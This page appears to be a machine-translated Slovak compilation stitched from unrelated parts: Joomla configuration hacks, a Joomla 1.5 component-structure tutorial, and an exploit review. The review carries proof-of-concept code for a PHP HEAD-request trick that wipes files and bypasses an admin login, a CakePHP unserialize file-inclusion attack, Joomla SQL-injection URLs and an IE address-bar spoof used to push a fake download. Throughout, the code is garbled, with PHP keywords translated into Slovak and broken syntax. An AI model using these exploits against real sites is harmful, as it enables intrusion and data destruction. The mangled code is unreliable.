webové odkazy php príjem. Vrstva tortu a com_weblinks Joomla. Ako dosiahnuť, aby jedna pozícia náhodne zobrazovala jeden z modulov, ktoré sú jej priradené

  • 03.11.2019

V súbore je návrh /includes/joomla.php vo funkcii cleanText nahradiť linku

$text = strip_tags( $text ) ; $text = strip_tags ( $text , " " ) ;

Tento hack je určený iba pre obrázky, ktoré sú prilepené ako normálne obrázky. Pre obrázky vložené mambotom (mosimage) tento hack nebude fungovať.

Ako vytvoriť priamy odkaz v komponente com_weblinks

IN weblinks.html.php musíte nahradiť riadok:

$link = sefRelToAbs( "index.php?option=com_weblinks&task=view&catid=". $catid ."&id=" . $riadok ->id ); $link = $riadok ->url ;

Ako zabezpečiť, aby Joomla fungovala na dvoch hostiteľoch (doménach) súčasne. Tie. napríklad v lokálnej sieti na 10.0.0.15 a z internetovej stránky-company.ru. Vzhľadom na to, že obe adresy sú na rovnakom stroji.

Po prvé, celý zmysel problému spočíva v tom, že Joomla poskytuje všetky obrázky a súbory CSS (ich cesty v šablóne) vzhľadom na ich premennú $mosConfig_live_site - základnú adresu stránky zadanú počas inštalácie. A ak sa k nemu niekto pokúsi pristupovať s inou adresou, tak sa v logike jeho fungovania nič nemení – základná adresa sa preberá z konfiguračného súboru. Napríklad, ak je v konfigurácii napísané, že Joomla je umiestnená na localhoste, tak hovor z lokálnej siete aj na správne nakonfigurovaný Apache počúvajúci na adresu 192.168. ostatné stroje už budú mať svojho localhost ". Zameranie riešení pre takéto prípady je nahradiť premennú $mosConfig_live_site pre požadovaného hostiteľa, aby všetky funkcie mohli vydávať správne odkazy a už riadiť používateľa jedným smerom alebo iným virtuálnym miestom (uveďte správne základné cesty k obrázkom a základné cesty k adresám). configuration.php namiesto definície $mosConfig_live_site musíte napísať svoj kód. Niečo ako:

if ($_SERVER [ "HTTP_HOST" ] == "host1.ru" ) $mosConfig_live_site = "host1.ru" ; else $mosConfig_live_site = "host2.ru" ;

Treba si uvedomiť, že v prípade použitia cache musíte mať aj dva rôzne cache adresáre pre dvoch hostiteľov, pretože v cache sa môžu krížiť odkazy na rôznych hostiteľov a potom sa používateľ z nesprávnej siete nedostane vôbec nikam . Premenná $mosConfig_cachepath je zodpovedná za vyrovnávaciu pamäť.

Ako dosiahnuť, aby sa dva komponenty zobrazovali na tej istej stránke súčasne

Hneď vám poviem, že to nie je také jednoduché. Komponent nie je modul. Preto sa v prvom rade oplatí hľadať alternatívu, t.j. moduly, ktoré dokážu zopakovať svoju funkčnosť, určite idú do obľúbeného komponentu. Ak nie je žiadna, potom táto možnosť. Môžete ho vytvoriť ako modul alebo ho môžete teoreticky vložiť do šablóny. Myšlienka je takáto - volanie komponentu cez index2.php (čo a prečo - prečítajte si celý fakt). Tie. môžete vytvoriť iframe s src="index2.php?option=com_component&no_html=1" na mieste, kde chcete vložiť druhý komponent. A tam sa to prejaví. Ďalšia vec je, že je nepravdepodobné, že bude možné plne zabezpečiť funkčnosť. Toto je však cesta von.

Alebo použite konštrukciu: mosLoadComponent("com_mycomp" ) ;

Ak je však komponent vykonaný týmto spôsobom, musíte pochopiť, že nevie o vašich manipuláciách a bude pracovať podľa svojich $option a $task.

Ako zväčšiť dĺžku nadpisu v článku

V phpMyAdmin musíte vykonať nasledujúce dva príkazy (existuje špeciálna stránka na vykonávanie SQL dotazov), iba musíte nahradiť ###_ vašou skutočnou predponou tabuľky. Maximálny možný počet je 255. V príklade sa používa 200.

ALTER TABLE `###_content` ZMENA `alias_názov` `alias_názov` VARCHAR(200) NOT NULL; ALTER TABLE `###_content` ZMENA `title` `title` VARCHAR(200) NOT NULL;

Ako do RSS feedu zahrnúť celé znenie noviniek, nielen ich titulky

Ak to chcete urobiť, v súbore /components/com_rss/rss.php musíte nahradiť

$item_description = $riadok ->introtext ; $item_description = $riadok ->fulltext ;

Ako môžem vytvoriť dve stránky Joomla pomocou rovnakej databázy alebo pomocou rovnakých súborov

Pokiaľ ide o používanie jednej databázy, musíte napísať jednu databázu v configuration.php pre dva motory, ale musíte pochopiť, čo robíte. Udržiavanie relácií pre používateľov v tomto prípade bude veľmi problematické, pretože domény sú odlišné. Tie. záznamy v tabuľke #__sessions sa budú prekrývať (môžu sa prekrývať).

Ak chcete použiť rovnaké súbory bez kopírovania veľkej distribúcie, potom v zásade môžete použiť príkaz "ln -s" v Linuxe na vytvorenie symbolických odkazov na existujúce súbory a nekopírovať ich na novú stránku.

Ako vytvoriť virtuálnu stránku dostupnú na konkrétnej adrese v Joomla General Design (http://site.ru/super_page)

  • Prvým spôsobom je použiť nejaký komponent SEF, v ktorom je potrebné zadať potrebnú virtuálnu cestu pre statickú stránku. Tu je mínus - tento komponent začne prerábať všetky ostatné odkazy (a vo všeobecnosti sú tieto komponenty veľmi nenásytné a vyžadujú veľa zdrojov na fungovanie).
  • Vytvorte alias pre takúto stránku pomocou mod_rewrite A .htaccess. Na to potrebujete:
    • Vytvorte si statickú stránku s textom, ktorý potrebujete, zistite jej ID a adresu (takúto stránku nie je potrebné vytvárať, môže už existovať a vo všeobecnosti je to len nejaký komponent, nie nevyhnutne com_content)
    • Vymysli alias, nechaj to tak" super_puper"
    • Otvorte .htaccess a pred riadok „RewriteCond %(REQUEST_FILENAME) !-f“ napíšte:
RewriteRule ^(super_puper) index.php?option=com_content&task=view&id=12 RewriteCond %(REQUEST_FILENAME) !-f
    • A teraz, za predpokladu, že sa Joomla nachádza na site.ru, keď otvoríte odkaz http://site.ru/super_puper, otvorí sa potrebná statická stránka s vašimi informáciami. Samotný odkaz „index.php?option=com_content&task=view&id=12“ môže byť akýkoľvek, ktorý potrebujete, hlavná vec je, že odkaz nebol absolútne (t. j. s http://...) a relatívne ( by mal začať s index.php?...)

Ako zakázať ukladanie do vyrovnávacej pamäte pre konkrétny článok

Toto môže byť potrebné, ak používate mambot rd_addphp na vloženie akýchkoľvek skriptov, ktoré by mali zakaždým generovať náhodné čísla alebo náhodný text, bez ohľadu na systém vyrovnávacej pamäte Joomla. Ak chcete zakázať ukladanie konkrétneho článku do vyrovnávacej pamäte, musíte zistiť jeho ID (v admin paneli sa pri úpravách pozrite do panela s adresou, bude tam uvedené niečo ako "...&id=123...") . Takže 123 bude ID nášho článku. Je potrebné v súbore /components/com_content/content.php približne na riadku 1600 nahradiť

$cache ->call ( "HTML_content::show" , $row , $params , $access , $page ) ; if ($row ->id !="123" ) $cache ->call ( "HTML_content::show" , $row , $params , $access , $page ) ; else HTML_content::show ($row , $params , $access , $page ) ;

Kde 123 je ID článku, ktoré potrebujete.

Nainštaloval som veľa komponentov a zoznam komponentov v ponuke správcu zobrazuje ich znížený počet a potom sa zobrazí „Viac komponentov ...“. Ako zobraziť všetky komponenty.

Je potrebné v súbore /administrator/modules/mod_fullmenu.php riadku

$topLevelLimit = 19 ;

nahradené

$topLevelLimit = 199 ;

Ako nainštalovať kópiu komponentu

Musím povedať, že úloha je mimoriadne náročná. Ak nerozumiete, ako komponent funguje, nemali by ste to ani skúšať. Pre tých, ktorí stále chcú, uvádzame hlavné body:

  • V súbore XML premenujte názov komponentu v menovke
  • Ďalej je potrebné premenovať používané tabuľky (po prvé v súbore XML a po druhé vo všetkých komponentných súboroch, kdekoľvek sa používa databázový objekt $databáza a metóda setQuery)
  • Premenujte tiež všetky cesty v komponentoch. Cesty môžu byť použité pri samoodkazovaní alebo môžu obsahovať názvy súborov. Najčastejšie ide o nájdenie podreťazca com_componentname a jeho nahradenie novým.

Ale táto metóda nič nezaručuje. Pri jednoduchých je to možné a prejde, ale pri zložitých sa nikto nezaručí.

Ako dosiahnuť, aby jedna pozícia náhodne zobrazovala jeden z modulov, ktoré sú jej priradené

  • Možnosť 1 – hack mosLoadModules. Do šablóny, kde je potrebné zobraziť jeden z N modulov, napíšeme (pozor na tretí argument):
mosLoadModules("position" , display_setting,true ) ;

A trochu opravíme samotnú vyššie uvedenú funkciu:

function mosLoadModules( $position ="left" , $style =0 , $show_random = false ) ( ... $allModules =& initModules() ; if (isset ( $GLOBALS [ "_MOS_MODULES" ] [ $position ] ) ) ( $modules = $GLOBALS [ "_MOS_MODULES" ] [ $pozícia ] ; ) else ( $modules = pole () ; ) //pridajte sem if ($show_random && sizeof ($modules ) >0 ) ( $tmp = $modules [ rand (0 ,sizeof ($modules) -1 ) ] ; $modules = pole ($tmp ) ; ) //koniec pridania if (count ( $modules )< 1 ) { $style = 0 ; }

Pridali sme k nemu tretí argument (ktorý je použitý v šablóne, kde sme napísali true) a upravili kód.

  • Druhá možnosť je bezbolestnejšia, upravujeme len šablónu. Ale náročnejšie na prácu - musíme vytvoriť niekoľko pozícií. Najprv vytvoríme niekoľko nových pozícií modulu, napríklad new1 ... new10. Ušetríme. Na správnom mieste šablóny pred volaním funkcie mosLoadModules pridajte potrebný kód:
$rand_num = rand (1 ,10 ) ; //od 1 do 10 - ako v názve pozície mosLoadModules ( "nové" .$rand_num , display_setup) ;

Verím, že premenovaním priečinka /adminisrator/ zvýšim bezpečnosť mojej stránky

V predvolenom nastavení táto možnosť nie je k dispozícii. Ale v skutočnosti je možné organizovaním vyhľadávania v súboroch Joomla nahradiť akýkoľvek výskyt takéhoto slova vaším - tajným. Niekedy sa potom pravdepodobne objavia chyby o nemožnosti prístupu k súborom, ale so znalosťou súboru a čísla riadku sa dajú opraviť. Problém je teda v princípe riešiteľný.

Vstupný bod do Joomla! komponent je podobný pre väčšinu komponentov. V tomto príklade použijeme jednu zo základných súčastí Joomla – Web Links (Odkazy na stránky). Prvý súbor, ktorý sa má spustiť v rozhraní front-end: …/components/com_weblinks/weblinks.php.

Najprv vidíme bezpečnostnú kontrolu navrhnutú tak, aby sa ubezpečil, že nikto nemôže zavolať priamo na túto stránku. Toto je štandard, ktorý by sa mal používať vo všetkých vašich súboroch php (hoci existuje niekoľko výnimiek):

Skontrolujeme reťazec dopytu, aby sme zistili, či bol odoslaný konkrétny názov ovládača. Ak áno, uistite sa, že môžeme načítať požadovaný súbor v adresári controllers:

// Ak je to požadované, vyžaduje sa špecifický ovládač if ($controller = JRequest::getWord("controller" ) ) ( $path = JPATH_COMPONENT. ds. "controllers" . ds. $controller . ".php" ; if (file_exists ($path) ) ( required_once $path ; ) else ( $controller = "" ; ) )

Teraz vytvoríme inštanciu našej triedy radiča pomocou názvu, ktorý sme definovali vyššie:

Hneď po dokončení úlohy vykonáme presmerovanie, ak je to potrebné:

// Presmerovanie, ak je nastavené ovládačom$controller -> redirect();

Trieda ovládačov

Všeobecný (špecifický) ovládač pre komponent odkazov je tu: …/components/com_weblinks/controller.php.
Celá táto trieda definuje metódu zobrazenia, ktorá je predvolená, pokiaľ používateľ nedefinuje inú úlohu.

definované ("_JEXEC" ) alebo zomrieť ( "Obmedzený prístup" ); jimport( "joomla.application.component.controller") ; /** * Weblinks Component Controller * * @package Joomla * @subpackage Weblinks * @od 1.5 */ trieda WeblinksController rozširuje JController ( /** * Spôsob zobrazenia zobrazenia webových odkazov * * @prístup verejnosti * @od 1.5 */ funkcia display() ( // Nastaví predvolené zobrazenie, ak žiadne neexistuje if ( ! JRequest:: getCmd ( "view" ) ) ( JRequest:: setVar ("view" , "categories" ) ; ) //aktualizácia počtu prístupov pre webový odkaz if (JRequest::getCmd("view" ) == "weblink" ) ( $model =& $this -> getModel("weblink" ) ; $model -> hit() ; ) // Zobraziť logiku ukladania do vyrovnávacej pamäte -- jednoduché... sme prihlásení?$user = &JFactory::getUser(); $view = JRequest::getVar("view" ) ; $viewcache = JRequest::getVar("viewcache" , "1" , "POST" , "INT" ) ; if ($user -> get ("id" ) || ($view == "category" && $viewcache == 0 ) ) ( parent:: display (false) ; ) else ( parent:: display (true) ); )))

V tejto metóde nastavíme predvolené zobrazenie (zobrazenie): zobraziť kategórie, ak nebolo zadané žiadne iné zobrazenie ako parameter reťazca dopytu. Ak je požadovaným zobrazením webový odkaz, zvýšime počet zobrazení odkazu. Potom nastavíme hodnotu premennej view a zavoláme metóda zobrazenia našej nadradenej triedy JController.
Stojí za to venovať osobitnú pozornosť volaniu metódy getModel. Stiahne potrebné model pre komponent. V tomto príklade táto metóda načíta model webového odkazu, ktorý nájdete tu: …/components/com_weblinks/models/weblink.php.
Dohodnime sa, že sme nepožadovali konkrétne zobrazenie, a preto bude náš pohľad nastavený na kategórie.
Ďalej otvoríme triedu zobrazenia.

Zobraziť triedu (Zobraziť triedu)

Keďže predpokladáme, že chceme zobrazenie kategórie, toto je nasledujúci súbor, ktorý sa má spustiť: …/components/com_weblinks/views/categories/view.html.php

// Skontrolujte, či je tento súbor zahrnutý v Joomla! definované ( "_JEXEC" ) alebo zomrieť ( "Obmedzený prístup" ); jimport( "joomla.application.component.view") ; /** * HTML trieda zobrazenia pre komponent WebLinks * * @static * @package Joomla * @subpackage Weblinks * @od 1.0 */ class WeblinksViewCategories rozširuje JView ( function display( $tpl = null ) ( global $mainframe ; $document =& JFactory::getDocument () ; $categories =& $this -> get ("údaje" ) ; $total =& $this -> získať ("celkom" ); $stav =& $toto -> získať ("stav" ); // Získanie konfigurácie stránky/komponentu$params = & $mainframe -> getParams() ; $menus = &JSite::getMenu(); $menu = $menus -> getActive() ; // pretože aplikácia nastavuje predvolený názov stránky, musíme ho získať // priamo zo samotnej položky ponuky if (is_object ( $menu ) ) ( $menu_params = new JParameter( $menu -> params ) ; if (! $menu_params -> get ( "page_title" ) ) ( $params -> set ("page_title" , JText:: _( "Webové odkazy" ) ; ) ) else ( $params -> set ("názov_stránky" , JText:: _( "Webové odkazy" ) ) ; ) $document -> setTitle ( $params -> získať ( "názov_stránky" ")); // Nastavte niektoré predvolené hodnoty, ak nie sú nastavené pre parametre$params -> def ("comp_description" , JText:: _("WEBLINKS_DESC" ) ); // Definovanie atribútov značiek obrázka if ($params -> get ("image" ) != - 1 ) ( if ($params -> get ("image_align" ) != "" ) $attribs [ "align" ] = $params -> get (" image_align" ); inak $attribs [ "align" ] = "" ; $attribs [ "hspace" ] = 6 ; // Na vytvorenie značky obrázka použite statickú knižnicu HTML$obrazok = JHTML:: _("obrázok" , "obrázky/príbehy/" . $params -> get ("obrázok" ) , JText:: _("Webové odkazy" ) , $atribby ) ; ) pre ($i = 0; $i< count ($categories ) ; $i ++ ) { $category =& $categories [ $i ] ; $category ->link = JRoute::_( "index.php?option=com_weblinks&view=category&id=". $category -> slimák ); // Pripravte popis kategórie$kategória -> popis = JHTML:: _("content.prepare" , $kategória -> popis ) ; ) $this -> priradiťRef ("obrázok" , $obrázok ) ; $this -> assignRef ("params" , $params ) ; $this -> assignRef ("categories" , $categories ) ; parent::display($tpl) ; ) ) ?>

Opäť ide o veľmi jednoduchú triedu s jedinou metódou zobrazenia. Väčšina logiky tu je špecifická pre komponent odkazu, ale ak sa pozriete pozorne, nájdete funkcie používané vo väčšine tried zobrazenia komponentov. Na konci metódy zobrazenia táto trieda zavolá rodiča (JView) spôsob zobrazenia, odovzdaním názvu šablóny na zobrazenie. Ak nezadáte názov šablóny zobrazenia, použije sa „predvolená“ šablóna.
A nakoniec otvoríme triedu šablón.

Trieda šablón

Dohodnime sa, že neprešiel konkrétny názov šablóny, takže sa použije predvolená šablóna. V tomto prípade je potrebné zvážiť nasledujúci súbor: …/components/com_weblinks/views/categories/tmpl/default.php
-> escape ($this -> params -> get ("page_title" ) ); ?>

params -> def ("obrázok" , - 1 ) != - 1 ) || $this -> params -> def ("show_comp_description" , 1 ) ) : ?>
obrazok ) ): echo $this -> obrazok ; koniec Ak; echo $this -> params -> get("comp_description" ) ; ?>
    kategórie ako $category ): ?>
  • escape ($category -> title ) ; ?> (numlinky; ?>)

Väčšina logiky je tu špecifická pre komponent, ktorý sa vykonáva. Kód tiež ukazuje, že v tomto súbore je všetko HTML zmiešané s PHP - to sú jeho vlastnosti a účel.

Ďalšie súbory použité v komponentoch

Niekoľko ďalších typov súborov, ktoré môžete nájsť v komponentoch:

  • Pomocníci - Komponenty často používajú súbor helper.php alebo adresár pomocníkov s mnohými súbormi. Tieto súbory zvyčajne obsahujú iba všeobecnú funkčnosť komponentu.
  • Zdá sa, že aktíva sú úplným priečinkom pre ostatné súbory zahrnuté v komponente.
  • router.php - tento súbor sa používa, keď je povolené nastavenie SEF URL, na preklad URL v oboch smeroch (do čitateľnej pre človeka s aliasmi a do systémového zobrazenia Joomla s parametrami).
  • xml súbory - zvyčajne definujú parametre a ďalšie informácie o komponente a jeho prehľad. Používajú sa napríklad pri vytváraní položiek menu komponentov.
  • index.html je dobrou praxou mať vo všetkých adresároch prázdny súbor index.html. Toto je také pasívne bezpečnostné opatrenie.
  • css/images/js - priečinky, ktoré obsahujú rôzne súbory na implementáciu dizajnu a funkčnosti na strane klienta (v prehliadači).

Tento mesiac nám hľadači chýb nechcú dopriať nové vysokoprofilové exploity v populárnych aplikáciách. Samozrejme, veľa odporúčaní bolo publikovaných v produktoch známych spoločností, ale len veľmi málo z nich obsahuje stráviteľné PoC kódy. V našej recenzii som sa pokúsil zhromaždiť najvýznamnejšie a najkompletnejšie zraniteľnosti opísané nedávno, takže sa pohodlne usaďte a užite si čítanie.

Zraniteľnosť PHP pri spracovávaní požiadaviek HTTP Head

stručný

Istý Adam Ivanyuk objavil 3. marca zaujímavú funkciu v PHP interpreteri, ktorý nespracováva požiadavky HEAD celkom korektne. Výskumník nazval túto zraniteľnosť „metódou HTTP HEAD trik v php skriptoch“.

Mnoho programátorov vyvíja svoje PHP skripty s nádejou, že všetky inštrukcie v nich napísané sa úspešne vykonajú bez prerušenia niekde uprostred (najmä v krátkych skriptoch). Toto sa stane, ak si skript vyžiada koncový používateľ pomocou metód GET, POST, PUT.

Mali by ste si však uvedomiť, že existujú aj iné metódy HTTP, ako napríklad HEAD. Práve pri spracovaní tejto metódy v PHP môže vzniknúť bezpečnostná diera.

Pozeráme sa na jeden zo zdrojov tlmočníka: ./main/SAPI.c, riadok 315:

if (SG(request_info).request_method &&
!strcmp(SG(request_info).request_method, "HEAD"))
{
SG(informácie o_požiadavke).len_hlavičky = 1;
...

Keď prídu nejaké dáta, spustí sa funkcia php_ub_body_write. Ďalej sa pozrite na main/output.c, riadok 699:

if (SG(request_info).headers_only) (
if(SG(headers_sent))
{
návrat 0;
}
php_header(TSRMLS_C);
zend_bailout();
}

Tu môžete vidieť, že na prvom výstupe obrazovky a pri použití metódy HEAD funkcia zend_bailout preruší skript.

Využiť

$line="Prezývka: ".htmlšpeciálne znaky
($_POST["prezývka"])."

Text: ".htmlšpeciálne znaky
($_POST["text"])."


";
$f=fopen("kniha.txt","r");
$data=fread($f,filesize("kniha.txt"));
fclose($f);
$f=fopen("kniha.txt","w");
$data=$line.$data;
echo $data;
fwrite($f,$data);
fclose($f);
?>

Teraz získajme prístup k tomuto skriptu pomocou metódy HEAD:

stream_context_get_default
(pole("http"=>pole("method"="HEAD")));
print_r(get_headers("http://site.com/guestbook.php"));
?>

Ako sa dalo očakávať, naša kniha návštev sa zastaví na riadku „echo $data;“, takže súbor book.txt sa jednoducho vynuluje.
Tento príklad je skôr deštruktívny. V druhom príklade môžeme obísť autorizáciu v primitívnom správcovskom paneli:

session_start();
echo "Dlhý reťazec obsahuje asi 4090 znakov";
$_SESSION["admin"]=1;
if (!isset($_POST["pass")]) ||
$_POST["pass"]!="nejaké heslo")
{
ozvena" Nesprávne alebo prázdne heslo.
";
$_SESSION["admin_level"]=0;
}
?>

Keď sa v tomto skripte prihlásite pomocou obvyklých metód, v relácii sa nastaví administratívna premenná. Potom, ak používateľ zadal nesprávne heslo, táto premenná sa nastaví na nulu a používateľ sa nestane správcom.

Ak pristúpime k admin panelu cez HEAD, jeho vykonávanie bude prerušené kúskom kódu s „echo“, takže sa administratívna premenná nevynuluje a môžeme pokojne blúdiť po zatvorenej časti aplikácie. Tu by sme mali vziať do úvahy, že na väčšine webových serverov je výstupná hodnota vyrovnávacej pamäte nastavená na 4096 bajtov, takže v pracovnom príklade môžeme potrebovať riadok „Dlhý reťazec obsahuje asi 4090 znakov“.

Využiť

  • PHP<= 5.3.5

Riešenie

V čase tejto recenzie je najnovšia verzia PHP verzia 5.3.5. Neexistujú žiadne opravy pre túto chybu, takže vám môžem len odporučiť, aby ste si pri používaní metódy HEAD pozorne prezreli zdroje vašich skriptov na nepredvídané situácie.

Spustenie ľubovoľného kódu v CakePHP

stručný

CakePHP je najznámejší (viac ako 7 000 000 zmienok na Google) webová aplikácia napísaná v PHP a postavená na princípoch open source. CakePHP implementuje vzor ovládača zobrazenia modelu (MVC).

Spočiatku bol tento rámec vytvorený ako klon populárneho Ruby on Rails, odtiaľ bolo vypožičaných veľa nápadov:

  • Vlastná štruktúra súborov;
  • podpora mnohých doplnkov;
  • abstrakcia dát (HRUŠKA::DB, ADOdb a vlastný vývoj Cake);
  • podpora mnohých DBMS (PostgreSQL, MySQL, SQLite, Oracle).

Nie je prekvapujúce, že takýto pozoruhodný softvérový produkt si získal veľkú pozornosť mnohých pentesterov. Nie je to tak dávno, čo človek pod prezývkou felix našiel v tomto rámci zaujímavú chybu súvisiacu s magickými metódami a používaním funkcie unserialize (viac o tejto triede zraniteľností si prečítajte v minuloročných číslach časopisu).

Najprv otvorte komponent ./libs/controller/components/security.php a vyhľadajte nasledujúci kód zodpovedný za ochranu pred útokmi XSRF pomocou požiadaviek POST:

funkcia _validatePost(&$controller)
{
...
$kontrola = $kontrolor->data;
$token = urldecode($check["_Token"]["polia fi"]);
if (strpos($token, ":")) (
zoznam($token, $uzamknutý) = explode(":", $token, 2);
}
$locked = unserialize(str_rot13($locked));
...
?>

Pole $check tu obsahuje naše POST dáta a premenná $locked je serializovaný reťazec obfuskovaný pomocou funkcie str_rot13(), ktorá je úplne pod našou kontrolou.

V tomto bode stojí za to odbočiť pre tých, ktorí nečítali súvisiace články v ][ a stručne porozprávať o chybe, ktorá sa prejavuje v magických metódach PHP. Takže vo verzii PHP 5 sa objavil základný koncept OOP programovania: konštruktor a deštruktor. Konštruktor je implementovaný metódou "__construct" a deštruktor je implementovaný metódou "__destruct". Na konci svojej práce a pri volaní cez funkciu unserialize() každý objekt vykoná svoju vlastnú deštrukčnú metódu __, ak je napísaná v kóde.

Teraz sa vráťme do nášho rámca a pozrime sa na deštruktor triedy App zo súboru ./libs/configure.php:

funkcia __destruct()
{
if ($this->__cache)
{
$core = App::core("torta");
unset($this->__paths);
Cache::write("dir_map", array_filter($this->__paths),
"cake_core");
Cache::write("fi le_map", array_filter($this->__map),
"cake_core");
Cache::write("object_map", $this->__objects,
"cake_core");
}
}

Z vyššie uvedeného kódu môžete pochopiť, že táto metóda môže byť ohrozená zapísaním ľubovoľných hodnôt do objektu Cache. Najzaujímavejší kľúč na crack je 'file_map'. Spravuje prepojenia medzi triedami a ich príslušnými súbormi PHP a používa sa aj na načítanie ďalších tried za behu.

Skutočný kód na načítanie triedy vyzerá trochu komplikovanejšie, ale všetko sa scvrkáva na nasledujúci kód z metódy __load v triede App:

...
if (fi le_exists($ súbor)) (
ak (!$this->return) (
vyžadovať($súbor);
$this->__loaded[$file] = true;
}
vrátiť true;
...
?>

Bingo! Nahradením premennej $file môžeme zahrnúť náš vlastný PHP kód! Navyše, toto bude skutočná chyba Remote File Inclusion – teda nebudeme potrebovať žiadne ďalšie triky s nahrávaním lokálnych súborov na server. Autor nájdenej zraniteľnosti však navrhuje LFI využitie tejto diery, pretože CakePHP používa lokálnu vyrovnávaciu pamäť založenú na súboroch, ktorá je v serializovanej forme v adresári, ktorý cracker pozná.

Využiť

Ako malý PoC na generovanie jedovatého serializovaného reťazca, felix navrhuje nasledujúci kód:

$x=newApp();
$x->__cache=1;
$x->__map=array("Jadro" => pole(
"Router" => "../tmp/cache/persistent/cake_core_fi le_map"),
"foo" => "");
$x->__paths=array();
$x->__objects=array();
echo serializovať ($ x);
?>

Samozrejme, najprv musíte zahrnúť potrebné triedy z CakePHP. K dispozícii je tiež plne funkčný exploit Pythonu, ktorý nájdete na adrese malloc.im/burnedcake.py.

Tento graf by mal fungovať v každej aplikácii vytvorenej pomocou CakePHP, ktorá používa formuláre POST s bezpečnostnými tokenmi a nezmenila predvolené umiestnenie súboru vyrovnávacej pamäte. V predvolenom nastavení exploit zobrazuje konfiguráciu databázy, ďalšie užitočnosti sa ľahko pridávajú zmenou vstavaného obsahu PHP.

Ciele

  • CakePHP<= 1.3.5, CakePHP <= 1.2.8

Riešenie

Na opravu opísanej zraniteľnosti si stačí stiahnuť najnovšiu verziu vami používanej vetvy CakePHP zo stránky výrobcu cakephp.org.

Zverejnenie cesty a potenciálne SQL injekcie v Joomla!

stručný

Joomla je redakčný systém napísaný v PHP a JavaScripte a ako úložisko používa databázu MySQL. Je to slobodný softvér s licenciou GNU GPL.

Ak ste pri svojich hackerských aktivitách nenarazili na Joomla!, tak jednoducho žijete na inej planéte :). V tejto recenzii chcem hovoriť o dvoch potenciálnych SQL injekciách v rôznych vetvách Joomly naraz, ktoré zostali nepovšimnuté a neboli propagované.

Prvú injekciu teda objavili chlapci z YGN Ethical Hacker Group (yehg.net/lab) vo verzii motora 1.5.21.

Ako píšu samotní výskumníci, potenciálne SQL injekcie objavili v Joomla! 1.5.20 v rámci štúdie o XSS. Tieto chyby boli okamžite nahlásené vývojovému tímu motora, ktorý čoskoro vydal „opravenú“ verziu 1.5.21. Slovo „opravený“ je v úvodzovkách, pretože vývojári privreli oči pred väčšinou odporúčaní tímu YEHG a dúfali, že tieto zraniteľnosti nie sú plne zneužiteľné, keďže Joomla! má vstavané reťazcové bezpečnostné filtre.

Výsledkom je, že ploštici odhalili podrobnosti o využívaní objavených potenciálnych SQL injekcií širokej verejnosti, čo, samozrejme, využijeme.
Otvorte teda súbor ./components/com_weblinks/models/category.php a nájdite v ňom nasledujúci kód:

funkcia _buildQuery()
{
$filter_order = $this->getState("filter_order");
$filter_order_dir = $this->getState("filter_order_dir");
$filter_order = JFilterInput::clean($filter_order, "cmd");
$filter_order_dir =
JFilterInput::clean($filter_order_dir, "slovo");
// Potrebujeme získať zoznam všetkých
// weblinky v danej kategórii
$query = "SELECT *" .
"Z #__webových odkazov" .
"KDE catid =". (int) $this->_id.
"A zverejnené = 1" .
"A archivované = 0".
" ZORADIŤ PODĽA ". $filter_order "".
$filter_order_dir .", objednávanie";
návrat $ dotaz;
}

Tu môžete vidieť, že premenné $filter_order a $filter_order_dir nie sú kontrolované na prísnu zhodu s príkazmi SQL, kontrola sa vykonáva iba pomocou štandardnej čistej metódy z triedy JFilterInput:

...
prípad "WORD" :
$vysledok = (retazec) preg_replace ("/[^A-Z_]/i", "", $zdroj);
prestávka;
...
prípad "CMD":
$vysledok = (retazec)
preg_replace("/[^A-Z0-9_.-]/i", "", $zdroj);
$vysledok = ltrim($vysledok, ".");
prestávka;
...

V predvolenom nastavení teda dostávame zverejnenie cesty. Podobná chyba v rovnakých premenných bola nedávno objavená v prvej verzii enginu z novej vetvy 1.6.

Využiť

V predvolenom nastavení môžeme použiť iba rozšírenie cesty v Joomla!<= 1.5.21:

  • /index.php?option=com_weblinks&view=category&id=2&filter_order_Dir=&filter_order=%00′
  • /index.php?option=com_weblinks&view=category&id=2&filter_order_Dir='&filter_order=asc

a Joomla! 1.6.0:

  • útočník.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?filter_order=yehg.net.AAAAAAAAAAAAAAAAAAAAAAAAAAAA,&filter_order_Dir=2&limit=3&limitstart=4
  • útočník.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?filter_order=1,&filter_order_Dir=yehg.net.BBBBBBBBBBB,&limit=3&limitstart=4

Hlásači chýb však navrhujú použiť tieto chyby v už napadnutých inštaláciách Joomly v kontexte prototypovania motora: stačí odstrániť filtre JFilterInput::clean z premenných filter_order_Dir a filter_order, po čom môžete upravenú zraniteľnosť používať neobmedzene.

Existujú tiež informácie, že niektorí vynaliezaví ľudia stále dokázali obísť tieto notoricky známe filtre, ale exploit je v hlbokom súkromí.

Ciele

  • Joomla!<= 1.5.21, Joomla! 1.6.0

Riešenie

Ako vždy, nezabudnite aktualizovať z oficiálnej stránky vývojára joomla.org. V čase písania recenzie boli najnovšie verzie tohto CMS 1.5.22 a 1.6.0.

Spoofing panela s adresou v programe Microsoft Internet Explorer

stručný

Na záver vám chcem porozprávať o malej a mimoriadne vtipnej chybe v IE somárikovi, ktorú objavil hacker pod prezývkou cyber flash. Táto chyba umožňuje vzdialenému používateľovi vykonať jednoduchý spoofingový útok.

Chyba zabezpečenia je spôsobená chybou počas aktualizácie kontextového panela s adresou. Vzdialený používateľ môže pomocou špeciálne upravenej webovej stránky prinútiť prehliadač, aby v paneli s adresou zobrazoval iba určitú časť adresy.

Využiť

Ako príklad nahradenia panela s adresou autor sám ponúka nasledujúci PoC HTML kód:


content="text/html; charset=windows-1252">

Spoof



Kliknite kdekoľvek na tejto stránke!



Cyber ​​​​flash nám tiež poskytuje pripravenú stránku s kódom PoC na testovanie na adrese keyloggeronline.com/misc/temp/about.htm.

Keď navštívime túto stránku, uvidíme nápis s odkazom, ktorý nás pozýva na stránku bing.com. Kliknutím na odkaz sa nám zobrazí vyskakovacie okno, v paneli s adresou sa zobrazí rovnaký Bing. Nižšie bude uvedený ďalší odkaz na stiahnutie nového Internet Explorera (navyše po umiestnení kurzora myši na „Stiahnuť“ neuvidíme nič podozrivé, hoci neexistuje nová verzia prehliadača, ale program pseudo-trojan od Cyber ​​​Flash).
Útočník tak môže používateľovi Donkey ľahko podsunúť škodlivý súbor.

Ciele

  • MS Internet Explorer 7, 8, 9

Riešenie

Momentálne tie mäkké ešte neopravili opísanú zraniteľnosť, takže ak používate IE, ako dočasné opatrenie vám radím, aby ste boli opatrnejší pri neznámych vyskakovacích oknách.

